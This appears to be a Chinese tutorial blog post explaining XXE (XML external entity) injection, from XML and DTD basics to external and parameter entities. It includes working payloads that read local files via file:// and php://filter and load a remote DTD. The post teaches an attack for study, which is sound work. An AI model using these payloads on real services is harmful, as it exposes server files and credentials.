XXE漏洞概念

1、XXE漏洞概念

XXE(XML External Entity Injection) 又称为XML外部实体注入

XML是一种类似于HTML(超文本标记语言)的可扩展标记语言,是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

2、XML基础知识

2.1、XML基础

(1)什么是 XML?

  • XML 指可扩展标记语言(EXtensible Markup Language)。

  • XML 是一种很像HTML的标记语言。

  • XML 的设计宗旨是传输数据,而不是显示数据。

    • html显示数据
  • XML 标签没有被预定义。您需要自行定义标签。

  • XML 被设计为具有自我描述性。

  • XML 是 W3C 的推荐标准

(2)XML的作用

  • 存储数据
  • 传输数据

(3)基础语法

<?xml version="1.0" encoding="UTF-8"?>
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

文档结构图:

img

(4)语法规则:

  • XML 文档必须有根元素

  • XML 声明(可选)

  • 所有的 XML 元素都必须有一个关闭标签

  • XML 标签对大小写敏感

  • XML 必须正确嵌套

  • XML 属性值必须加引号

  • 实体引用(同html)

    • &gt;,&lt;
  • XML 中的注释(同html)

  • 在 XML 中,空格会被保留

(5)XML 命名规则:

XML 元素必须遵循以下命名规则:

  • 名称可以包含字母、数字以及其他的字符
  • 名称不能以数字或者标点符号开始
  • 名称不能以字母 xml(或者 XML、Xml 等等)开始
  • 名称不能包含空格

2.2、XML的合法性

拥有正确语法的 XML 被称为"形式良好"的 XML。

通过 DTD 验证的XML是"合法"的 XML

接下来掌握DTD(Document Type Definition)相关知识,有利于我们掌握XXE

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用

(1)内部DTD

假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:

<!DOCTYPE root-element [element-declarations]>
  • root-element:根元素
  • element-declarations:元素声明

如:

<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>					//!ELEMENT:用于定义元素的名字
<!ELEMENT from (#PCDATA)>				//#PCDATA	ANY
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>程咬金</to>
<from>貂蝉</from>
<heading>通知</heading>
<body>今天晚上,大战三百回合!</body>
</note>

以上 DTD 解释如下:

  • !DOCTYPE note (第二行)定义此文档是 note 类型的文档。
  • !ELEMENT note (第三行)定义 note 元素有四个元素:“to、from、heading,、body”
  • !ELEMENT to (第四行)定义 to 元素为 “#PCDATA” 类型
  • !ELEMENT from (第五行)定义 from 元素为 “#PCDATA” 类型
  • !ELEMENT heading (第六行)定义 heading 元素为 “#PCDATA” 类型
  • !ELEMENT body (第七行)定义 body 元素为 “#PCDATA” 类型

这里解释一下PCDATA和CDATA

PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。

CDATA:是不会被解析器解析的文本。

(2)外部DTD

假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

<!DOCTYPE root-element SYSTEM "filename">
  • 这里的SYSTEM,就算造成整个漏洞的核心

先声明一个note.dtd:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

再写xml:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
  <to>周瑜</to>
  <from>黄盖</from>
  <heading>提示</heading>
  <body>老子不服输</body>
</note>

(3)DTD实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

  • 实体引用是对实体的引用。
  • 实体可在内部外部进行声明。
<!ENTITY entity-name "entity-value">

示例:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE stu [
  <!-- 元素声明 -->
  <!ELEMENT stu (name, age, address)>
  <!ELEMENT name (#PCDATA)>
  <!ELEMENT age (#PCDATA)>
  <!ELEMENT address (#PCDATA)>

  <!-- 实体声明 -->
  <!ENTITY name "亚瑟">
  <!ENTITY age "18">
  <!ENTITY address "对抗路">
  ]>
<stu>
  <name>&name;</name>
  <age>&age;</age>
  <address>&address;</address>
</stu>

注意: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (😉。

浏览器效果:

img

简单一点的案例:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE stu [<!ENTITY name "亚瑟">]>
<name>&name;</name>

浏览器效果:

img

(4)外部实体

和内部实体一致,只是DTD声明在外部。

语法:

<!ENTITY entity-name SYSTEM "URI/URL">

xml中引用外部dtd实体:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root[
<!ENTITY name SYSTEM "file:///D:/www/xxe/data.txt">]>
<root>
    <username>&name;</username>
</root>

注意:这个地方直接浏览器访问拿不到数据,需要程序读取。

data.txt中随意什么内容都可以。

核心在于SYSTEM关键字。

SYSTEM这个地方常用的协议:

file:///path/to/file.ext

http://url/file.ext

php://filter/read=convert.base64-encode/resource=conf.php

支持的协议:

img

其余的参考:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c://test/1.txt" >]>        
<value>&xxe;</value>
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://xxx.com/xxxx.php" >]>        
<value>&xxe;</value>

(4)参数实体

语法:

<!ENTITY % 实体名称 "实体的值">

或者

<!ENTITY % 实体名称 SYSTEM "URI">

注意: % 和 实体名字之间有一个空格

示例:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root [
<!ENTITY % name SYSTEM "http://localhost/xxe/test2.php">
%name;			<!--加载外部实体-->
]>

注意:参数实体只能在 DTD文件中被引用,其他实体在XML文档内引用。
参数实体 在DOCTYPE内 ,其他实体在DOCTYPE外

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root [
<!ENTITY % name SYSTEM "http://192.168.13.1/xxe/test.dtd">
%name;<!--加载外部实体-->
]>
<root>
    <username>&name;</username>
</root>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

落樱坠入星野

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值